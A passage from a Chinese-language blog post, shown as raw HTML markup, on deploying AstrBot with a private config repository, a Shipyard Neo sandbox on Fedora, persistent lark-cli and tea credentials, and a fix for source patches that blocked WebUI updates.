&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;provider_sources&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;provider&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;deepseek&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;openai_chat_completion&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;api_base&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://api.deepseek.com/v1&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;deepseek&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;enable&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里我最后选择了更朴素的方案：把这个仓库明确定位为私有配置仓库，并让 &lt;code&gt;data/cmd_config.json&lt;/code&gt; 继续作为 AstrBot 运行时事实来源进入 Git。&lt;/p&gt;
&lt;p&gt;原因是 AstrBot WebUI 会直接写这个 JSON，当前还不能确认它是否稳定支持从 &lt;code&gt;.env&lt;/code&gt; 或模板安全回填 provider key、Dashboard 密码哈希和 &lt;code&gt;jwt_secret&lt;/code&gt;。如果强行做模板渲染，反而可能引入“配置看起来可复现，但实际启动时被覆盖或漏注入”的风险。&lt;/p&gt;
&lt;p&gt;因此现阶段的安全边界是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;私有 Git 仓库可以包含真实运行配置&lt;/li&gt;
&lt;li&gt;不配置公开 remote，不把配置 diff 贴到公开聊天或博客里&lt;/li&gt;
&lt;li&gt;如果未来要公开仓库，先轮换 provider key 和 Dashboard 凭据，再清理 Git 历史&lt;/li&gt;
&lt;li&gt;真要提高 secret 安全等级时，再引入 SOPS 或 git-crypt，而不是先做脆弱的自动回填&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;另外，新建的配置文件实际落在：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/config/abconf_99578339-b87b-41b4-97a9-5c4af491f6c2.json
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这个 JSON 文件本身没有直接写入 &lt;code&gt;Feishu - Flow Project&lt;/code&gt; 字符串。也就是说，AstrBot 对“配置文件展示名”和 &lt;code&gt;abconf_*.json&lt;/code&gt; 文件之间的映射，可能不完全靠这个 JSON 文件表达。后续如果要做严格 GitOps，需要继续确认配置文件命名和展示名的持久化位置。&lt;/p&gt;
&lt;h2 id="私有配置提交"&gt;私有配置提交
&lt;/h2&gt;&lt;p&gt;确认采用私有仓库策略后，我把 WebUI 产生的真实配置提交进 Git：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;e75b5fd chore: track astrbot webui config privately
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这次提交包含：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;data/cmd_config.json&lt;/code&gt;：Dashboard 用户、DeepSeek 来源和启用模型等真实运行配置&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/config/abconf_99578339-b87b-41b4-97a9-5c4af491f6c2.json&lt;/code&gt;：WebUI 新建配置文件对应的 JSON&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/skills.json&lt;/code&gt;：当前为空的 Skills 注册状态&lt;/li&gt;
&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt;：补充私有仓库安全边界说明&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;提交后工作区是干净的，并且当前没有配置 Git remote。&lt;/p&gt;
&lt;h2 id="shipyard-neo-沙箱与-feishu-cli"&gt;Shipyard Neo 沙箱与 Feishu CLI
&lt;/h2&gt;&lt;p&gt;下一步我按 AstrBot 文档接入沙箱能力。文档里的关键点是：&lt;code&gt;Computer Use Runtime&lt;/code&gt; 可以设为 &lt;code&gt;sandbox&lt;/code&gt;，沙箱驱动选择 &lt;code&gt;Shipyard Neo&lt;/code&gt;；Bay 默认监听 &lt;code&gt;8114&lt;/code&gt;，AstrBot 通过 &lt;code&gt;Shipyard Neo API Endpoint&lt;/code&gt; 和 &lt;code&gt;Shipyard Neo Access Token&lt;/code&gt; 连接。&lt;/p&gt;
&lt;p&gt;这次采用本机独立 Shipyard Neo 部署，而不是把 Bay 塞进 AstrBot 容器：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Shipyard Neo 部署目录：&lt;code&gt;/home/veno/Projects/shipyard-neo-deploy&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bay endpoint：&lt;code&gt;http://bay:8114&lt;/code&gt;，供 AstrBot 通过 Docker 网络访问&lt;/li&gt;
&lt;li&gt;AstrBot &lt;code&gt;computer_use_runtime&lt;/code&gt;：&lt;code&gt;sandbox&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;AstrBot &lt;code&gt;sandbox.booter&lt;/code&gt;：&lt;code&gt;shipyard_neo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;AstrBot &lt;code&gt;shipyard_neo_profile&lt;/code&gt;：&lt;code&gt;python-lark&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bay token：按文档写入 &lt;code&gt;shipyard_neo_access_token&lt;/code&gt;，继续由私有配置仓库管理&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fedora 上还遇到一个实际问题：Bay 需要访问 Docker socket 来创建 sandbox 容器，但 SELinux 会拦截默认 bind mount。由于 Bay 挂 Docker socket 本身就已经是高权限组件，我在 Bay service 上显式加了：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;security_opt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;label:disable&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这不是为了让普通业务容器放宽隔离，而是为了让 Bay 这个 Docker 控制面组件在 Fedora 上能按设计工作。&lt;/p&gt;
&lt;p&gt;Feishu CLI 和 Skills 按 &lt;code&gt;larksuite/cli&lt;/code&gt; 官方仓库处理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;本机先执行官方推荐的 &lt;code&gt;npx skills add larksuite/cli -g -y&lt;/code&gt;，安装官方 lark skills&lt;/li&gt;
&lt;li&gt;AstrBot 仓库中同步了官方安装器发现的 26 个 lark skills 到 &lt;code&gt;data/skills/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;自定义 Shipyard Neo ship 镜像继承 &lt;code&gt;ghcr.io/astrbotdevs/shipyard-neo-ship:latest&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;镜像内执行官方推荐的 &lt;code&gt;npx /cli install&lt;/code&gt; 安装 &lt;code&gt;lark-cli&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;额外加入本机已有的静态 &lt;code&gt;tea&lt;/code&gt; 二进制&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最终验证：Bay 能创建 &lt;code&gt;python-lark&lt;/code&gt; sandbox，并且在真实 sandbox 内执行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lark-cli --version &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; tea --version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;返回 &lt;code&gt;lark-cli version 1.0.42&lt;/code&gt; 和 &lt;code&gt;tea 0.12.0&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="cli-授权状态持久化"&gt;CLI 授权状态持久化
&lt;/h2&gt;&lt;p&gt;安装 &lt;code&gt;lark-cli&lt;/code&gt; 和 &lt;code&gt;tea&lt;/code&gt; 之后，还有一个更实际的问题：Agent 每次要用飞书或 Gitea 能力时，不应该重新思考“去哪登录、token 放哪、下次还在不在”。这件事不能交给 Skill 本身解决。Skill 只应该描述工具怎么用，真正的权限边界仍然应该在飞书应用权限、用户授权、Gitea token scope 和 sandbox 运行时配置上。&lt;/p&gt;
&lt;p&gt;一开始我以为只要把 &lt;code&gt;HOME&lt;/code&gt; 和 &lt;code&gt;XDG_CONFIG_HOME&lt;/code&gt; 指到 &lt;code&gt;/workspace&lt;/code&gt;，就能靠 Shipyard Neo Cargo 保存 CLI 登录态。后面继续查文档和实际验证后发现，这个判断只对了一半：managed cargo 会随着 sandbox 删除而释放，不能作为长期账号凭证存储。真正适合保存 CLI 凭证的是 external cargo。&lt;/p&gt;
&lt;p&gt;最终部署改成了这样：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;镜像层只安装工具：&lt;code&gt;lark-cli&lt;/code&gt;、&lt;code&gt;tea&lt;/code&gt; 和对应 Skills&lt;/li&gt;
&lt;li&gt;Skill 层只提供调用说明，不写入任何 token&lt;/li&gt;
&lt;li&gt;Shipyard Neo 增加显式 profile：&lt;code&gt;python-lark&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python-lark&lt;/code&gt; 继续使用同一份工具镜像，并设置 &lt;code&gt;HOME=/workspace&lt;/code&gt;、&lt;code&gt;XDG_CONFIG_HOME=/workspace/.config&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bay 中创建一个 external cargo，专门持久化 &lt;code&gt;/workspace&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;AstrBot 创建 sandbox 时传入固定 &lt;code&gt;cargo_id&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对应的 Shipyard Neo profile 是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- &lt;span class="nt"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;python-lark&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Python sandbox with lark-cli and tea, using persistent CLI config&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;shipyard-neo-ship-lark:latest&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;runtime_type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;ship&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;runtime_port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8123&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;capabilities&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;filesystem&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;shell&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;python&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;HOME&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/workspace&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;XDG_CONFIG_HOME&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/workspace/.config&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里一开始还有一个 AstrBot 侧的小补丁：当前 AstrBot 的 &lt;code&gt;ShipyardNeoBooter&lt;/code&gt; 只传 &lt;code&gt;profile&lt;/code&gt; 和 &lt;code&gt;ttl&lt;/code&gt;，不会传 &lt;code&gt;cargo_id&lt;/code&gt;。后来证明这个方向不稳，因为 WebUI 更新 AstrBot 时会覆盖运行时源码。最终方案改为 Bay 侧 &lt;code&gt;profile -&amp;gt; cargo&lt;/code&gt; 映射：AstrBot 仍然只传 &lt;code&gt;profile=python-lark&lt;/code&gt;，Bay 在创建 sandbox 时自动补上对应的 external cargo。&lt;/p&gt;
&lt;p&gt;这个方案的边界比较清楚：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;token 不进镜像&lt;/li&gt;
&lt;li&gt;token 不进 Skill&lt;/li&gt;
&lt;li&gt;token 不出现在博客或公开日志里&lt;/li&gt;
&lt;li&gt;CLI 凭证落在 external cargo 的 &lt;code&gt;/workspace/.config&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;AstrBot 容器不再改源码，Git 只记录 Bay 侧配置和可复现的部署代码&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;持久化验证也做过一次：在 external cargo 里写入测试文件，删除 sandbox 后重新创建，文件仍然存在。这说明凭证目录不再依赖某个临时 sandbox 生命周期。&lt;/p&gt;
&lt;p&gt;随后完成了两个 CLI 的登录和验证：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lark_configured=true
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lark_auth_status_ok=true
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lark_auth_list_ok=true
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tea_authenticated=true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;其中 &lt;code&gt;tea&lt;/code&gt; 已能访问目标 Gitea 实例，账号验证为 &lt;code&gt;veno&lt;/code&gt;。Lark 侧使用脱敏验证方式，只检查 &lt;code&gt;config show&lt;/code&gt;、&lt;code&gt;auth status&lt;/code&gt;、&lt;code&gt;auth list&lt;/code&gt; 的退出码，不打印任何 app secret、access token 或用户授权内容。&lt;/p&gt;
&lt;p&gt;到这里，AstrBot 在后续调用 &lt;code&gt;lark-cli&lt;/code&gt; 和 &lt;code&gt;tea&lt;/code&gt; 时，不需要每次重新设计授权流程。模型只需要按 Skill 使用命令；具体能读写什么，由飞书服务端权限、用户授权范围、Gitea token scope 和 external cargo 中的当前登录态共同决定。&lt;/p&gt;
&lt;h2 id="webui-更新与源码-patch"&gt;WebUI 更新与源码 Patch
&lt;/h2&gt;&lt;p&gt;这里后来又踩到一个和 WebUI 更新有关的坑。&lt;/p&gt;
&lt;p&gt;最初为了让 AstrBot 读取 &lt;code&gt;ASTRBOT_SHIPYARD_NEO_CARGO_ID&lt;/code&gt;，我把两个 patch 文件直接以只读 bind mount 的方式挂到了容器里的源码路径：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/AstrBot/astrbot/core/computer/booters/shipyard_neo.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/AstrBot/astrbot/core/computer/computer_client.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这样运行时没问题，但从 WebUI 更新 AstrBot 时会失败：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[Errno 30] Read-only file system: &amp;#39;/AstrBot/astrbot/core/computer&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;原因很直接：WebUI 更新器会尝试覆盖 AstrBot 本体源码，而源码目录下有只读挂载点。即使只挂了两个文件，更新过程遇到这些路径也会被文件系统拒绝。&lt;/p&gt;
&lt;p&gt;第一版修复方式是不要把 patch 文件直接挂到源码路径，而是挂到独立目录，并在容器启动时复制进去：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;sh&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- -&lt;span class="l"&gt;c&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; cp /AstrBot/local-patches/astrbot/core/computer/booters/shipyard_neo.py /AstrBot/astrbot/core/computer/booters/shipyard_neo.py
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; cp /AstrBot/local-patches/astrbot/core/computer/computer_client.py /AstrBot/astrbot/core/computer/computer_client.py
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; exec python main.py&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;./data:/AstrBot/data:z&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;./patches/astrbot:/AstrBot/local-patches/astrbot:ro,z&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这样 patch 来源仍然是只读的、可 Git 管理的，但 &lt;code&gt;/AstrBot/astrbot/core/computer&lt;/code&gt; 本身恢复为容器内可写目录。WebUI 更新 AstrBot 时不会再被 bind mount 卡住；容器重启后也会重新应用本地 patch。&lt;/p&gt;
&lt;p&gt;修复后验证：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
